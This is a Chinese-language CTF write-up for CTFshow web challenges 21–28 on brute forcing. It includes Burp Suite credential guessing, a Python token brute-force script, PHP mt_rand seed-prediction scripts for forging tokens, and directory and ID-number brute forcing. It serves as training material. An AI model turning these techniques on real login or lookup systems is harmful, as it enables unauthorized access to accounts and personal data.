CTFshow web入门——爆破
web 21
一.涉及工具:
burp suit burp suit 使用教程
二.解题思路:
1.随便输一个密码和用户名抓包一下
2.base64解密一下发现账号密码的形式为 账号:密码,根据题目提示我们用自定义迭代器爆破,使用方法参考:Custom iterator的使用
注:下面爆破用的字典是题目所提供的
3.爆破出结果
web 22
一.涉及知识点:
子域名爆破(此题不能爆破出来)在线子域名爆破
二.解题思路:
直接点开View Hint(提示)即可得到答案
web 23
一.涉及工具:
python
二.解题思路:
1.打开可以看到php代码,首先分析代码,可以知道 token被md5加密,且它的第一位=第十四位=第十七位,(第一位+第十四位+第十七位)/第一位=第三十一位
<?php
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
2.由此我们可以知道要运用爆破,可以使用burp suit,也可以直接写脚本,下面附上脚本代码
import requests
a = "3abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012456789"
for i in a:
for j in a:
url ="http://5aad3711-167d-4268-94b4-3bb1a93ae1f0.chall.ctf.show/?token="+str(i)+str(j)
req = requests.get(url=url).text
if "flag" in req:
print(req)
exit()
else:
print(url)
#3i
注:要在python里事先下好requests包
运行即可得到flag.
web 24
一.涉及知识点:
伪随机数
二.解题思路:
1.可以看到mt_srand()函数即可知道是伪随机数
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
2.下好php_mt_seed这个工具,写个php脚本运行一下
<?php
mt_srand(372619038);
echo mt_rand();
?>
注:php可以在kali中运行
例:php 1.php
3.可以得到1155388967,构造payload
?r=1155388967
即可得到flag
web 25
一.涉及工具:
php_mt_seed下载地址
二.解题思路:
1.分析php代码,可以先通过r=0 得到mt_rand()第一个值为539472865(每个人得到的数字不同)
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
2.之后我们进行逆推,推出种子
3.通过如下代码,我们知道要将两个随机数相加得token值
if($_COOKIE[‘token’]==(mt_rand()+mt_rand()))
可写脚本如下
<?php
mt_srand(3232931109);
echo mt_rand()."\n";
echo mt_rand()+mt_rand();
注:代码中的种子数是一个个试出来的
4.代码运行后可得token=3631956516
5.可用burp suit抓包修改一下即可得到flag另一种方法
注:
关于这里为什么要?r=539472865,因为
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
只有在rand不存在时,_COOKIE[‘token’]==(mt_rand()+mt_rand() 才能执行,而539472865是我们在传?r=0时页面输出的随机数,此时的rand = mt_rand()即第一个生成的随机数,因此只要我们使r=mt_rand()=1819399594,就能让$rand=0,不存在,从而执行接下来的代码
web 26
一.涉及工具:
burp suit
二.解题思路:
1.查看源代码
<script>
function check(){
$.ajax({
url:'checkdb.php',
type: 'POST',
dataType:'json',
data:{
'a':$('#a').val(),
'p':$('#p').val(),
'd':$('#d').val(),
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(data['msg']);
},
error:function(data){
alert(data['msg']);
}
});
}
</script>
2.尝试POST后返回json文件,抓包既得。
web 27
一.涉及工具:
burp suit
二.解题思路:
1.点击录取名单下载下来,发现身份证号都少了8位
2.爆破查询系统
3.Unicode编码转换成中文
4.根据他的提示输入学号和密码得出flag
web 28
一.涉及工具:
burp suit
二.解题思路:
1.题目给出提示
通过暴力破解目录/0-100/0-100/看返回数据包
爆破的时候去掉2.txt 仅仅爆破目录即可
2.根据提示进行爆破